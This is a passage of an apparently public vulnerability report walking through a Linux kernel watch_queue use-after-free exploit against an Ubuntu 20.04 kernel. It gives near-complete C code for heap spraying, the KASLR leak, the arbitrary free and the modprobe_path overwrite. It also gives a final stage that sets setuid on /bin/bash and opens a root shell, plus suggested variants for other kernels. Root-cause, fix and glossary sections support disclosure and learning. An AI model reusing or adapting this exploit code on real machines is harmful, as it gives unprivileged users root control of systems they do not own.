	puts(MSG_ERR);
	exit(-1);
}

memcpy(&fake_obj,mem+24,8);
printf("[+] fake object: %#lxn",fake_obj);

Line by line:

  1. msgsnd(msqid[next_msg],data[next_msg],4096-48+512-8,0); sends a larger message into the queue whose id was leaked. This is the spray that tries to occupy the freed slot.
  2. msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY); reads the out-of-bounds message again, without removing it.
  3. The memcmp check again verifies the 0xff 0xff pattern at offset 30.
  4. memcpy(&fake_obj,mem+24,8); copies 8 bytes from offset 24 into fake_obj. This is a kernel pointer to the object the attacker has managed to place.
  5. printf("[+] fake object: %#lxn",fake_obj); prints it. %#lx formats a number in hexadecimal with a 0x prefix.

Stage 4 drains the other queues, frees and re-sends messages around the leaked id, and reads the out-of-bounds message again to obtain a second pointer, the target object:

C
msgrcv(msqid[next_msg],mem,64-48,data[next_msg]->mtype,IPC_NOWAIT | MSG_NOERROR);
for (size_t i = 0; i < next_msg; i++)
{
	msgsnd(msqid[i],data[i],64-48,0);
}
for (size_t i = next_msg + 1; i < SPRAY; i++)
{
	msgsnd(msqid[i],data[i],64-48,0);
}

msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);

memcpy(&sec_next_msg,mem+40,8);
sec_next_msg--;
printf("[+] reallocated secondary msg id: %dn",sec_next_msg);

msgsnd(msqid[sec_next_msg],data[sec_next_msg],1024-48,0);
msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);

if (memcmp(mem+24+6,"xffxff",2) != 0)
{
	puts(MSG_ERR);
	exit(-1);
}
memcpy(&target_obj,mem+24,8);
printf("[+] target obj: %#lxn",target_obj);

Line by line:

  1. msgrcv(msqid[next_msg],...) removes the message from the leaked queue, freeing its slot.
  2. The two loops re-send small messages into every other queue, reshaping the heap around the freed slot.
  3. The next msgrcv with MSG_COPY reads the out-of-bounds message again.
  4. memcpy(&sec_next_msg,mem+40,8); copies the next-message id from offset 40, and sec_next_msg--; converts it to an index.
  5. msgsnd(msqid[sec_next_msg],data[sec_next_msg],1024-48,0); sends a message into that queue.
  6. Another MSG_COPY read, another 0xff 0xff check, and memcpy(&target_obj,mem+24,8); stores the second pointer.

At this point the exploit has stored fake_obj and target_obj.

Step 5: Bypassing KASLR

KASLR stands for Kernel Address Space Layout Randomisation. Each time the machine boots, the kernel is placed at a slightly different address in memory, so an attacker cannot hard-code addresses. To defeat it, the exploit needs to leak one real kernel address and subtract the known offset of that symbol to work out where the kernel starts.

Stage 5 sprays notification pipes and logon keys with a fscrypt: description, posts notifications, and reads the out-of-bounds message to leak watch_queue_pipe_buf_ops:

C
for (size_t i = 0; i < SPRAY/2; i++){
	syscall(__NR_pipe2, pipe_spray[i], 0x80);

	sprintf(desc,"fscrypt:e8dab99234bb312%d",i);
	key = syscall(__NR_add_key, "logon",desc, "B", 512, KEY_SPEC_USER_KEYRING);
	syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipe_spray[i][0], 0, 0);

}

msgrcv(msqid[sec_next_msg],mem,64-48,data[sec_next_msg]->mtype,IPC_NOWAIT | MSG_NOERROR);
usleep(500000);
for (size_t i = 0; i < SPRAY/2; i++){
	syscall(__NR_ioctl, pipe_spray[i][1], 0x5760, 1);
}

for (size_t i = 0; i < SPRAY/2; i++){
	sprintf(desc,"fscrypt:e8dab99234bb312%d",i);
	syscall(__NR_add_key, "logon",desc, "B", 512, KEY_SPEC_USER_KEYRING);
}

msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
memcpy(&watch_queue_pipe_buf_ops,mem+40,8);

if (memcmp(mem+40+6,"xffxff",2) != 0){
	puts(MSG_ERR);
	exit(-1);
}

kbase = watch_queue_pipe_buf_ops - off_watch_queue_pipe_buf_ops;
modprobe_path = kbase + off_modprobe_path;

printf("[+] watch_queue_pipe_buf_ops: %#lxn",watch_queue_pipe_buf_ops);
printf("[+] kbase: %#lxn",kbase);
printf("[+] modprobe_path: %#lxn",modprobe_path);

Line by line:

  1. The first loop creates 500 notification pipes and, for each, adds a logon key. A logon key is a key type whose contents cannot be read back by user programs, which makes it useful for holding secrets. The description is built with sprintf as fscrypt: followed by a hex string and the loop index. sprintf formats text into a string buffer.
  2. syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipe_spray[i][0], 0, 0); attaches a watch on each key to its pipe.
  3. msgrcv(msqid[sec_next_msg],...) frees the secondary message, opening a slot.
  4. usleep(500000); waits half a second.
  5. The next loop posts a notification into every sprayed pipe with ioctl request 0x5760.
  6. The following loop adds the same logon keys again, churning allocations.
  7. msgrcv(msqid[oob_msg],...) reads the out-of-bounds message, and memcpy(&watch_queue_pipe_buf_ops,mem+40,8); copies the leaked pointer from offset 40.
  8. The memcmp check verifies the 0xff 0xff pattern at offset 46.
  9. kbase = watch_queue_pipe_buf_ops - off_watch_queue_pipe_buf_ops; subtracts the known offset to get the kernel base address.
  10. modprobe_path = kbase + off_modprobe_path; adds the other offset to get the address of modprobe_path.
  11. The three printf lines print the leaked pointer, the kernel base and the computed modprobe_path.

The sprayed pipes are then closed.

Step 6: Arbitrary free and overwriting modprobe_path

arb_free() prepares a fake pipe object in the message payloads. The code sets index 19 to fake_obj+0x8, index 10 to 0x1, index 11 to 0x0000000100000000, and writes the target pointer minus 8 at offset 4048+64-8 of each message:

C
memset(&pipe_obj,0,sizeof(pipe_obj));

pipe_obj[19] = fake_obj+0x8;
pipe_obj[10] = 0x1;
pipe_obj[11] = 0x0000000100000000;

uint64_t tmp = target_obj-8;
for (size_t i = 0; i < SPRAY; i++)
{
	memcpy(data[i]->mtext,&pipe_obj,sizeof(pipe_obj));
	memset(data[i]->mtext+4048,0x45,1024);
	memcpy(data[i]->mtext+4048+64-8,&tmp,8);
}

Line by line:

  1. memset(&pipe_obj,0,sizeof(pipe_obj)); zeroes the array that will hold the fake pipe object.
  2. pipe_obj[19] = fake_obj+0x8; sets the twentieth 64-bit slot to a pointer just past the fake object. The exact field layout of the kernel's pipe structure is what makes this slot meaningful.
  3. pipe_obj[10] = 0x1; and pipe_obj[11] = 0x0000000100000000; set two more fields to chosen values. These are the values the exploit needs the kernel to see when it later treats this memory as a pipe.
  4. uint64_t tmp = target_obj-8; computes the target pointer minus 8, which is where the kernel will write when it updates a linked list.
  5. The loop copies the fake pipe object into the start of every message body, fills 1024 bytes at offset 4048 with 0x45, and writes tmp at offset 4048+64-8.

It then starts two more racers (func2() and func3(), the same notification pipe loop as before) with a key payload whose index 3 is fake_obj+0x30 and index 5 is the marker 0x7777777788888888:

C
data_key[3] = fake_obj+0x30;
data_key[5] = 0x7777777788888888;

fpid1 = fork();
if (!fpid1) {
	func2();
}
printf("[+] Racer 1 PID: %dn",fpid1);
fpid2 = fork();
if (!fpid2)
{
	func3();
}

printf("[+] Racer 2 PID: %dn",fpid2);

usleep(500000);
kill(fpid1,SIGSEGV);
kill(fpid2,SIGSEGV);

Line by line:

  1. data_key[3] = fake_obj+0x30; puts a pointer derived from the fake object into the key payload, at the slot the kernel will interpret as the pipe pointer.
  2. data_key[5] = 0x7777777788888888; sets the marker value.
  3. The two fork() blocks start the two racers, each running the notification pipe loop, and print their PIDs.
  4. usleep(500000); lets them run for half a second.
  5. kill(fpid1,SIGSEGV); and kill(fpid2,SIGSEGV); stop them.

After the racers are killed, a fake message is built with modprobe_path-8 in its first slot and the string /tmp/xx in the next:

C
uint64_t fake_msg[48+8];
memset(&fake_msg,0,sizeof(fake_msg));
fake_msg[0] = modprobe_path-8;
memcpy(&fake_msg[1],"/tmp/xx",8);
fake_msg[2] = 0x100;
fake_msg[3] = 0x3d0;

for (size_t i = 0; i < SPRAY; i++){
	memset(data[i]->mtext+4048,0x47,1024);
	memcpy(data[i]->mtext+4048,&fake_msg,sizeof(fake_msg));
}

for (size_t i = 0; i < SPRAY; i++){
	if (i == target_obj_idx)
	{
		continue;
	}
	msgrcv(msqid[i],mem,4096-48+512-8-64,data[i]->mtype,IPC_NOWAIT | MSG_NOERROR);
	msgsnd(msqid[i],data[i],4096-48+1024-8-64,0);

}

if (!fork())
{
	msgrcv(msqid[target_obj_idx],mem,1024-8,0x100,IPC_NOWAIT | MSG_NOERROR);
}

sleep(2);

Line by line:

  1. uint64_t fake_msg[48+8]; declares an array of 56 64-bit values, enough for a fake message header plus data.
  2. memset(&fake_msg,0,sizeof(fake_msg)); zeroes it.
  3. fake_msg[0] = modprobe_path-8; sets the first slot to modprobe_path minus 8. This is the address the kernel will write to when it links the message into a list.
  4. memcpy(&fake_msg[1],"/tmp/xx",8); copies the string /tmp/xx into the next slot. This is the path the kernel will use as its module helper.
  5. fake_msg[2] = 0x100; and fake_msg[3] = 0x3d0; set two more fields to chosen values.
  6. The first loop fills 1024 bytes at offset 4048 of every message with 0x47 and then copies the fake message over the start of that region.
  7. The second loop, skipping the target queue, receives and re-sends each message with adjusted sizes, reshaping the heap once more.
  8. if (!fork()) { msgrcv(msqid[target_obj_idx],mem,1024-8,0x100,IPC_NOWAIT | MSG_NOERROR); } starts a child that performs a receive on the target queue with message type 0x100. This receive is what causes the kernel to write the fake message contents over modprobe_path.
  9. sleep(2); waits two seconds for that to happen.

The child process performs a receive on the target queue with message type 0x100.

Step 7: Getting root

The exploit creates a file with an invalid executable header and a script at /tmp/xx that makes /bin/bash setuid:

C
char code[] = "xffxffxffxff";
int fd1 = open("/tmp/abc",O_CREAT | O_RDWR);
chmod("/tmp/abc",0777);
write(fd1,code,sizeof(code) - 1);

char code2[] = "#!/bin/shnchmod u+s /bin/bashn";
int fd2 = open("/tmp/xx",O_CREAT | O_RDWR);
chmod("/tmp/xx",0777);
write(fd2,code2,sizeof(code2));
close(fd1);
close(fd2);

system("/tmp/abc");
unlink("/tmp/abc");
unlink("/tmp/xx");
system("/bin/bash -p");

Line by line:

  1. char code[] = "xffxffxffxff"; builds a four-byte file content. xff is the escape for the byte 0xFF. A file starting with these bytes is not a valid executable format, which is exactly what the exploit wants.
  2. int fd1 = open("/tmp/abc",O_CREAT | O_RDWR); creates the file /tmp/abc for reading and writing. O_CREAT means create it if it does not exist, O_RDWR means open for reading and writing.
  3. chmod("/tmp/abc",0777); makes it readable, writable and executable by everyone. 0777 is an octal permission mask.
  4. write(fd1,code,sizeof(code) - 1); writes the four bytes into the file. sizeof(code) - 1 skips the trailing null terminator that C adds to string literals.
  5. char code2[] = "#!/bin/shnchmod u+s /bin/bashn"; builds the script. #! at the start marks a script and names the interpreter, here /bin/sh. n is a newline. The second line is chmod u+s /bin/bash, which sets the setuid bit on /bin/bash. Setuid means the program runs with the privileges of its owner; if the owner is root, anyone who runs it gets root's rights.
  6. int fd2 = open("/tmp/xx",O_CREAT | O_RDWR); creates the script file, chmod("/tmp/xx",0777); makes it executable, and write(fd2,code2,sizeof(code2)); writes it.
  7. close(fd1); and close(fd2); close both files.
  8. system("/tmp/abc"); runs the invalid file. The kernel sees it cannot execute it and asks its module helper, whose path is now /tmp/xx, to handle it. The helper runs as root and executes the attacker's script.
  9. unlink("/tmp/abc"); and unlink("/tmp/xx"); delete both temporary files. unlink removes a file name from the filesystem.
  10. system("/bin/bash -p"); starts bash with the -p flag, which tells it to keep its privileges instead of dropping them, giving a root shell.

The exploit writes an invalid file to /tmp/abc and a script to /tmp/xx, runs /tmp/abc, removes both files and runs /bin/bash -p. The exploit then removes both temporary files.

Root cause

The bug is a use-after-free in the watch_queue pipe notification path. The advisory states that a pointer used by add_watch_to_object() and remove_watch_from_object() may be freed before it is accessed or freed again, and that post_one_notification() can operate on a pipe after free_pipe_info() has already been called.

Impact

The advisory describes the impact as a local user being able to crash the system or potentially escalate privileges to root. The exploit is written to escalate to a root shell on the listed Ubuntu 20.04.x Desktop 5.13.0-44-generic kernel. The attack requires local code execution as an unprivileged user and a vulnerable kernel build; the exploit also needs the two kernel offsets for the target build to be supplied by the operator.

Fix

The Linux kernel team released a patch, referenced in the advisory at https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=[redacted]. The advisory references that patch.

Variants to test

  1. Run the proof of concept on other kernels built with CONFIG_WATCH_QUEUE and a notification pipe interface, such as other Ubuntu, Debian or Fedora releases. A positive result is a kernel crash or a KASAN report showing a use-after-free in the watch queue or pipe notification code. KASAN is a kernel debugging feature that detects invalid memory accesses.
  2. Vary the number of racing threads and their CPU affinity to widen the race window. A positive result is the out-of-bounds read being detected more reliably, shown by the exploit printing the leaked message id.
  3. Change the key type and payload size used in the watch setup (the exploit uses user keys with 96-byte payloads and logon keys with 512-byte payloads). A positive result is a stable leak of a kernel pointer with the expected 0xff 0xff high bytes.
  4. Test the modprobe_path overwrite technique against kernels with different modprobe_path offsets. A positive result is the helper script being executed and /bin/bash gaining the setuid bit.
  5. Try the same race against other pipe notification consumers, such as watch queues attached to different object types. A positive result is a use-after-free report in the corresponding watch or pipe teardown path.

Glossary

  • Kernel: the core of the operating system, managing memory, processes and hardware on behalf of programs.
  • Root: the most privileged user account on a Unix-like system, able to do anything.
  • Local privilege escalation (LPE): an attack that turns ordinary user rights into administrator (root) rights on the same machine.
  • watch_queue: a Linux kernel feature that lets a program watch an object and receive notifications about it through a pipe.
  • Pipe: a channel that carries data between two ends, one for writing and one for reading.
  • Notification pipe: a pipe created with the O_NOTIFICATION_PIPE flag, used to deliver kernel notifications.
  • Use-after-free (UAF): a bug where memory is used after it has been freed, so the program reads or writes memory that may now belong to something else.
  • Race condition: a bug that appears when two operations happen at nearly the same time in an order the code did not expect.
  • Pointer: a number that identifies a location in memory.
  • CVE: Common Vulnerabilities and Exposures, a public catalogue giving each known vulnerability a permanent ID.
  • Ubuntu: a popular Linux distribution.
  • Kernel build: a specific compiled version of the kernel, identified by a version string such as 5.13.0-44-generic.
  • Syscall: a direct request from a program to the kernel, such as creating a pipe or adding a key.
  • Thread: one stream of execution inside a program; a program can run several at once.
  • CPU affinity: a setting that tells the operating system which CPU core a thread should run on.
  • Flag: a number passed to a function to select a variant of its behaviour.
  • Hexadecimal: base-16 number notation, written with digits 0-9 and letters a-f, often prefixed 0x.
  • Key / keyring: a small named blob of data stored by the kernel, and the collection that holds such keys.
  • Descriptor: a small number a program uses to refer to an open resource such as a file or pipe.
  • Fork: to create a copy of the current process that runs independently.
  • Signal: a short message the operating system delivers to a process, such as SIGSEGV.
  • SIGSEGV: the signal normally meaning an invalid memory access; here used simply to stop the racer processes.
  • Primitive: a small reliable capability, such as reading a kernel pointer or freeing a chosen address, used to build a larger attack.
  • Offset: a distance from a known starting point, here from the kernel base to a particular symbol.
  • Symbol: a named location in a compiled program, such as a function or variable.
  • watch_queue_pipe_buf_ops: a kernel table of function pointers used when handling notification pipe data.
  • modprobe_path: a kernel variable holding the path of the program the kernel runs when it needs to load a module.
  • Module: a piece of kernel code that can be loaded on demand.
  • Message queue: a kernel feature that lets processes exchange tagged messages.
  • Spray: allocating many copies of something so at least one lands in the memory slot you care about.
  • Heap: the pool of memory the kernel hands out dynamically.
  • Barrier: a synchronisation point where threads wait until a set number have arrived, then all continue together.
  • ioctl: a general-purpose control call for devices and special files.
  • Out-of-bounds read: reading outside the area you were supposed to read.
  • MSG_COPY: a flag that reads a copy of a message without removing it.
  • IPC_NOWAIT: a flag meaning do not block if the operation cannot complete immediately.
  • MSG_NOERROR: a flag meaning truncate a message instead of returning an error when it is too long.
  • memcmp: a C function that compares two blocks of bytes.
  • KASLR: Kernel Address Space Layout Randomisation, which places the kernel at a different address on each boot.
  • Kernel base (kbase): the address where the kernel's code starts in memory.
  • logon key: a key type whose contents cannot be read back by user programs.
  • sprintf: a C function that formats text into a string buffer.
  • Arbitrary free: the ability to make the kernel free a memory address of the attacker's choosing.
  • Arbitrary write: the ability to make the kernel write attacker-chosen data to an attacker-chosen address.
  • Setuid: a permission bit that makes a program run with the privileges of its owner.
  • unlink: a system call that removes a file name from the filesystem.
  • KASAN: a kernel debugging feature that detects invalid memory accesses.
  • CONFIG_WATCH_QUEUE: the kernel build option that enables the watch queue feature.

More by -

View all

18 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Race conditions

The lesson behind this report.

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.